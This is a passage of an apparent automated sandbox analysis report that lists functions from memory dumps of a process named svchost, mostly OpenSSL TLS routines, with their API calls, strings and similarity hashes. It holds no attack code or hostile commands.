tls_construct_ctos_post_handshake_auth, xrefs: 00007FFBAB47E4A3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_post_handshake_auth
API String ID: 0-2821314493
Opcode ID: bac7bf4fa3fd4e0730eef9842e57bf5e69d3d4d0274f26ca452d69410104372b
Instruction ID: 799ad24adac87a21139fe3b2f1d7e38b0a0abd8b9ab713c16ef1171942cb9caa
Opcode Fuzzy Hash: bac7bf4fa3fd4e0730eef9842e57bf5e69d3d4d0274f26ca452d69410104372b
Instruction Fuzzy Hash: 251182A1B1D14242FB629732E5467FD2294AF447C4F448431EF2C8BAE6DE2DD9C58700

Function 00007FFBAB484360 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4843C2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4843DA

Strings

tls_construct_stoc_session_ticket, xrefs: 00007FFBAB4843C7
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB4843D3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_session_ticket
API String ID: 193678381-2390203159
Opcode ID: 3e759472102663428d332e0c0f1ec7d766e9aceebfea9d6430f504463523da80
Instruction ID: 102ef2c92e5f0b2b37a74bb51170bd27d9b89ec89e92c48a41e8ef61650bb3dd
Opcode Fuzzy Hash: 3e759472102663428d332e0c0f1ec7d766e9aceebfea9d6430f504463523da80
Instruction Fuzzy Hash: D811C6A1F1A14282F791D776F5517FE2250AF447C0F488431DF2C476A7DE2DD8958600

Function 00007FFBAB470260 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47029D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4702B5

Strings

ssl\record\rec_layer_s3.c, xrefs: 00007FFBAB4702AE
ossl_get_max_early_data, xrefs: 00007FFBAB4702A2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ossl_get_max_early_data$ssl\record\rec_layer_s3.c
API String ID: 193678381-4099276626
Opcode ID: c6dfb0372a35b94570650d86b783ddb20b63f58534f8dc10c92d57d746d52ad2
Instruction ID: 48499649b9ca7d9a1e42feedbe1467a9752f99a6b341db9b609f31372855818e
Opcode Fuzzy Hash: c6dfb0372a35b94570650d86b783ddb20b63f58534f8dc10c92d57d746d52ad2
Instruction Fuzzy Hash: F8011BB2A0B141CBE7A7DB75C4957BC2790EB44B48F588435CE2C8A6A1DF2CA9C6C611

Function 64941C70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64941C95
GetCurrentThreadId.KERNEL32 ref: 64941CD0

Strings

C%p %d V=%0X w=%ld %s, xrefs: 64941CA3
C%p %d %s, xrefs: 64941CDE

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 2882836952-884133013
Opcode ID: 4ee0d97755dc30819cc537833119c3faf73e6318be0a8baa9e96090fdbdd1b5a
Instruction ID: a46da822108b5d6275fe5987b69bee3bdd31e53238ff1fe5d77ed74437cca604
Opcode Fuzzy Hash: 4ee0d97755dc30819cc537833119c3faf73e6318be0a8baa9e96090fdbdd1b5a
Instruction Fuzzy Hash: 6B018F7A38470086EB10DF26F840B4A3BA5F399F98F048225DD4C43710EB39C526C710

Function 00007FFBAB41E19B Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_snprintf.LIBCRYPTO-3-X64 ref: 00007FFBAB41E3A0

Strings

RC2(128), xrefs: 00007FFBAB41E19B
%-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s, xrefs: 00007FFBAB41E387
SHA256, xrefs: 00007FFBAB41E316

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_snprintf
String ID: %-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s$RC2(128)$SHA256
API String ID: 3142812517-4065257412
Opcode ID: ec9a1fd387941a3c2f00c79377d3d867282fdbe4ba62111515321fb465be5215
Instruction ID: 2e6aad7903663a8ba1399f85a51017368b632e6112d4b5c33384acbf4f3ec462
Opcode Fuzzy Hash: ec9a1fd387941a3c2f00c79377d3d867282fdbe4ba62111515321fb465be5215
Instruction Fuzzy Hash: F5019AB6C4E68A81E2728735F4450A9A7A0FB40750F448137EDAC13A788F3DE941D200

Function 00007FFBAB41E1A7 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_snprintf.LIBCRYPTO-3-X64 ref: 00007FFBAB41E3A0

Strings

IDEA(128), xrefs: 00007FFBAB41E1A7
%-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s, xrefs: 00007FFBAB41E387
SHA256, xrefs: 00007FFBAB41E316

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_snprintf
String ID: %-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s$IDEA(128)$SHA256
API String ID: 3142812517-2241050542
Opcode ID: 3500ee2869abb935871492220813c3d45dcff8058647e0efeab3f62648fd7570
Instruction ID: 746107fa7ca61b3a920ae003f94c0a29bd1eab6c2c709e9f2d26f109194c12f0
Opcode Fuzzy Hash: 3500ee2869abb935871492220813c3d45dcff8058647e0efeab3f62648fd7570
Instruction Fuzzy Hash: B2019AB6C4E68A81E2728735F4450A9A7A0FB40750F488137EDAC13A788F3DED41D244

Function 00007FFBAB41E177 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_snprintf.LIBCRYPTO-3-X64 ref: 00007FFBAB41E3A0

Strings

%-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s, xrefs: 00007FFBAB41E387
DES(56), xrefs: 00007FFBAB41E177
SHA256, xrefs: 00007FFBAB41E316

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_snprintf
String ID: %-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s$DES(56)$SHA256
API String ID: 3142812517-3620607540
Opcode ID: 23d6b098104fdcf4299d09d061bccc979f89490e296102d26d9a84bde5bebe8b
Instruction ID: 54f6180ebb8b1ab0df11733e37ed36cd3063374c7ee17fff165a30a4a25a8bba
Opcode Fuzzy Hash: 23d6b098104fdcf4299d09d061bccc979f89490e296102d26d9a84bde5bebe8b
Instruction Fuzzy Hash: E7019AB6C4E68A81E2728735F4450A9A7A0FB40750F448137EDAC13A788F3DE991D200

Function 00007FFBAB41E18F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_snprintf.LIBCRYPTO-3-X64 ref: 00007FFBAB41E3A0

Strings

RC4(128), xrefs: 00007FFBAB41E18F
%-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s, xrefs: 00007FFBAB41E387
SHA256, xrefs: 00007FFBAB41E316

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_snprintf
String ID: %-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s$RC4(128)$SHA256
API String ID: 3142812517-1386952729
Opcode ID: 23d6b098104fdcf4299d09d061bccc979f89490e296102d26d9a84bde5bebe8b
Instruction ID: 592b12f1a067c901fcfb57467b18c5bde1e184e1ee9c125425c5054dcd397fe3
Opcode Fuzzy Hash: 23d6b098104fdcf4299d09d061bccc979f89490e296102d26d9a84bde5bebe8b
Instruction Fuzzy Hash: E3019AB6C4E68A81E2728735F4450AAA7A0FB40750F448137EDAC13A788F3DE941D200

Function 00007FFBAB41E183 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_snprintf.LIBCRYPTO-3-X64 ref: 00007FFBAB41E3A0

Strings

%-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s, xrefs: 00007FFBAB41E387
SHA256, xrefs: 00007FFBAB41E316
3DES(168), xrefs: 00007FFBAB41E183

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_snprintf
String ID: %-30s %-7s Kx=%-8s Au=%-5s Enc=%-22s Mac=%-4s$3DES(168)$SHA256
API String ID: 3142812517-1945505136
Opcode ID: 511d42cbf8a54ebef7692f5742980d996ed1f35e61bb5bb9d41387b9466817a4
Instruction ID: 5b1386a698503138e07b3da3fda07b8bd93d1d2178a98ab49c394159c76661c7
Opcode Fuzzy Hash: 511d42cbf8a54ebef7692f5742980d996ed1f35e61bb5bb9d41387b9466817a4
Instruction Fuzzy Hash: 87019AB6C4E68A81E2728735F4450A9ABA0FB40750F448137EDAC13A788F3DE941D200

Function 00007FFBAB4767D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47680D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB476825

Strings

ssl\record\methods\tls_common.c, xrefs: 00007FFBAB47681E
tls_increment_sequence_ctr, xrefs: 00007FFBAB476812

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\record\methods\tls_common.c$tls_increment_sequence_ctr
API String ID: 193678381-4116607248
Opcode ID: 1c3c50427a3f35b97d7c239b30150f931c64e864396e14f676402aef77204413
Instruction ID: bae96aa21cd1294fb82c532d1feb1a0c3833d8c3a3ee6f970c146af61584c123
Opcode Fuzzy Hash: 1c3c50427a3f35b97d7c239b30150f931c64e864396e14f676402aef77204413
Instruction Fuzzy Hash: 92F081A1E1714146FB5397B5D8526F822519F94720F84C631CE3C427E2EE6C99C5C350

Function 00007FFBAB441090 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410D4
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43ECDD), ref: 00007FFBAB4410EF

Strings

%02X, xrefs: 00007FFBAB4410E5
%s (len=%d): , xrefs: 00007FFBAB4410C4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printf
String ID: %02X$%s (len=%d):
API String ID: 601296420-4138326432
Opcode ID: 36ce234d46d02148adacb22844c03ffa6f053384a5186d88df06f53ea04c3649
Instruction ID: 134997aca158a5eed0dc94caf7e6a216d6abc4e0a66ef7fab081dc2ac2009ba0
Opcode Fuzzy Hash: 36ce234d46d02148adacb22844c03ffa6f053384a5186d88df06f53ea04c3649
Instruction Fuzzy Hash: 7601D4A1B5EB9285EA22DB66E58006CA711EB44FC0F089031EE5C07B6ACF6CD4068700

Function 00007FFBAB4982A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB498632
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49864A

Strings

ossl_statem_server_process_message, xrefs: 00007FFBAB498637
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB498643

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ossl_statem_server_process_message$ssl\statem\statem_srvr.c
API String ID: 193678381-722880742
Opcode ID: b17f0a67d53f0966aecb426769ce5c119c87242601565f59d85da2248e087f37
Instruction ID: e229eacfc1d514b156cb65986a206aa1e0f9f6892fe4285ed36a79a125531e3d
Opcode Fuzzy Hash: b17f0a67d53f0966aecb426769ce5c119c87242601565f59d85da2248e087f37
Instruction Fuzzy Hash: C0F0F461A5A18286D602D775E8916BC6710AF44788F448532EF6C872F3DE3CE5468700

Function 00007FFBAB494A90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB494ABE
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB494AD6

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB494ACF
tls_construct_key_update, xrefs: 00007FFBAB494AC3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\statem_lib.c$tls_construct_key_update
API String ID: 1390262125-2630406174
Opcode ID: 65d52cba1d89d2184b94278aeb36dc7ab1b11dbce64f3e7fa5f1c36f01e04e7a
Instruction ID: e3d6e9a1cfab71bc9b757ac423e61c3d9bd8692cb58af241efd4e8eb345baa81
Opcode Fuzzy Hash: 65d52cba1d89d2184b94278aeb36dc7ab1b11dbce64f3e7fa5f1c36f01e04e7a
Instruction Fuzzy Hash: 2DF0B4E1F4A24382F762A7B7D9927F812409F44790F448431DD3C87BE2EE6D95D54710

Function 64941440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 64941459
GetProcAddress.KERNEL32 ref: 6494146E

Strings

libgcj-16.dll, xrefs: 64941452
_Jv_RegisterClasses, xrefs: 64941464

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: bc905c6d137a0c53196b9c0bd09bc0aeaa0806cc2f24fc447d6273a82a917542
Instruction ID: 41b3a94f408f7bae3b9d725e5a4e0a0769d76ac245e5e7c58dbb607d6e734eb2
Opcode Fuzzy Hash: bc905c6d137a0c53196b9c0bd09bc0aeaa0806cc2f24fc447d6273a82a917542
Instruction Fuzzy Hash: 64F05E107D2A04D5FE19DF72E88A37127E6AB56788FC40526841D063A0EF3DC276C320

Function 00007FFBAB48A8FE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A92F
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A947

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A98D
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A9A5

Strings

set_client_ciphersuite, xrefs: 00007FFBAB48A934
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48A940

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: set_client_ciphersuite$ssl\statem\statem_clnt.c
API String ID: 4275876640-3316213183
Opcode ID: e987dac0bce8b29c2390622b79a2f18fa0c291ade97ad151bb8bc7c638c4f201
Instruction ID: e96189090f666b4316ce0af22d0f85da212791ef152165a0e69f810357469a7f
Opcode Fuzzy Hash: e987dac0bce8b29c2390622b79a2f18fa0c291ade97ad151bb8bc7c638c4f201
Instruction Fuzzy Hash: 10F02BA2B1A64244E352E776E4427BD1350DF487C0F448431EE2C43BA3DD3DD4454740

Function 00007FFBAB494840 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB494869
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB494881

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB49487A
tls_construct_change_cipher_spec, xrefs: 00007FFBAB49486E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\statem_lib.c$tls_construct_change_cipher_spec
API String ID: 1390262125-1264406544
Opcode ID: 4c33a64a7ef8f1b7b3c829877a7a0917372e19b8aa19b288ad8304aa62e7efac
Instruction ID: 0459a758b54eeee1e0cfe2eb5d620b506fa10208c5b5b9f6fe7184b76219266a
Opcode Fuzzy Hash: 4c33a64a7ef8f1b7b3c829877a7a0917372e19b8aa19b288ad8304aa62e7efac
Instruction Fuzzy Hash: 85F01CE1F1A14286FB67A3B2D8927F912409F98780F448831DE2CC77A2EE6DA5D64750

Function 00007FFBAB489000 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB489172
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48918A

Strings

ssl\statem\statem_clnt.c, xrefs: 00007FFBAB489183
ossl_statem_client_construct_message, xrefs: 00007FFBAB489177

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ossl_statem_client_construct_message$ssl\statem\statem_clnt.c
API String ID: 193678381-2151371605
Opcode ID: dc44a18737892bb6ca68322c2d90c9761d0f3f508ca1e12f43bb6e69322129c0
Instruction ID: b7aba156e9c4a21ffab01cb3ae60b34ec036141e5f07e26eb3f323ed36da42b1
Opcode Fuzzy Hash: dc44a18737892bb6ca68322c2d90c9761d0f3f508ca1e12f43bb6e69322129c0
Instruction Fuzzy Hash: 17F090A2E4A54286E31293B5D886AF82750DF44798F44C931EE2D877F2DE1D96878200

Function 00007FFBAB48CB90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48CBB2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48CBCA

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

